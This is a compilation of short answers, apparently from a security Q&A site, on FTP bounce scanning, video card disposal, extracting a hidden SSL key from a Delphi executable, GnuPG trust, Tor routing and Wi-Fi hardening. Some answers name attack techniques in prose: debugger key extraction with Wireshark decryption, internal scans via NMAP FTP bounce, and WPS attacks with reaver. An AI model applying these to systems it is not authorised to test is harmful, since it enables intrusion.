What you can do is use the NMAP FTP Bounce to scan the internal network.

PS: if this is your server, why would you run chargen, daytime and so? I haven't seen any legit use of those services since last century...

PPS: The last possible TCP port is 65535, not 65389...


Do video cards store any personal information? Should they be destroyed when getting rid of them?

No, video cards don't retain any personal information. You can get rid of them without problems.

Hard drives are made to store information, so you need to properly dispose them. Video cards are not information storage devices, so all information they have are related to their jobs, and its most firmware. They don't store anything else.


Securing Delphi application SSL traffic from decryption

The key to decrypt the encrypted key is hidden in the source code.

This is a problem because applications (or its DLL's) can be reverse engineered. Sometimes this is quite easy and other times it may take a lot more effort. Ultimately it can be done.

  Is it possible somehow to use the DLL files to extract the private key to decrypt the HTTPS traffic?

As you stated (or as I understood it), the key that is hidden in the code, is in the executable. As an attacker I would first load the executable in the a debugger and see what happens.

Once the (hidden) key is obtained in order to decrypt the private key, the traffic could be intercepted using Wireshark configured with the private key.

However, if Diffie Hellman key exchange is used, the attacker can not decrypt previously captured traffic, meaning traffic captured before the private key was obtained.


How to detect when files from my USB were copied to another PC?

No logs are recorded on the USB itself around file accesses. At best, you might know if the files were changed by looking at the file timestamps, which can sometimes happen just by opening them, depending on the program opening them.

But there will be no way to determine, by looking at the USB, if the files were copied.


Which is the main purpose of having two domains pointing to the same IP, one of them without SSL/TLS?

One of the reasons could be that some old system needs to operate with the one that don't have TLS support, but nowadays is a it strange that you don't have TLS support on the client


How should I choose a trust model in GnuPG?

GnuPG does not allow a trust model like you describe, unless you specify ultimate trust on those keys (which makes them introducers into your local view on the web of trust). For GnuPG (and this also applies for OpenPGP in general), signatures are for defining verified identity, trust is just about defining which key's signatures to follow.

Given your actual requirement is not getting along without any signatures on the trusted keys but with not sharing those, GnuPG's local signatures might be what you're looking for.

Additionally, the concept of "trust on first use" might be sufficient for your use case, although providing a much weaker concept of defining trust.


How does Tor network handle individual sessions?

Brief overview:

First, you get a circuit of Tor nodes, let's say 1, 2, 3.

Next, you craft an encrypted packet to node 3, encrypt that in a packet to node 2, then encrypt that in a packet to node 1.

This way, node 1 only knows the next hop is node 2, node 2 only knows the next hop is node 3, and node 3 knows the final destination. Also, 3 only knows about node 2, node 2 only knows about node 1, etc. Node 1 doesn't know the destination and node 3 doesn't know the origin.


First result in google is this:
http://www-archive.mozilla.org/projects/security/pki/nss/ssl/draft02.html


Additional to the already provided answer I'll point few things out and a TO-DO list

Start by getting him off your network.

Turn off your Wi-Fi.
Change your router admin password.
Change the security to WPA2. *
Disable WPS. **
Change the SSID (Network name) ***
Change to a long password easy to remember. ****
Use whitelist instead of blacklist. *****

*If your modem is old, then it might not have WPA2 personal, try WPA instead. (History note: WPA2 needed a hardware change from the old WEP standard, while WPA just needed a firmware update)

**If your router is old WPS have many vulnerabilities, and there's no need to have it available, just connect your devices the normal way.

***Maybe he already have pre-generated keys for the SSID you're using, changing the name would render useless the space-time trade off he previously did.

****You got 63 ASCII, use 3 or 4 four words, add spaces (generally spaces aren't common in charsets), special symbols are hard for humans to remember but easy for computers to "guess", so use only one.

*****Add your three devices - This will eventually render useless as previously stated that spoofing MAC is easy.

Whit all this, the bad guy would have more homework:
With no WEP he can't capture/break WEP weak IV's, with no WPS he can't use wash/reaver to get the PIN or pixie dust attacks, etc. With WPA/2 he needs to capture a handshake (now WPA) from any of your devices, bruteforce it (hence the long password-This maybe will take months-years depending on the length), then eventually when trying to connect he will spoof any of your MAC address and then he's in. Hope this helps in any way.


Yes, /dev/urandom is safe. There is no reason to use /dev/random instead - It's really not safer.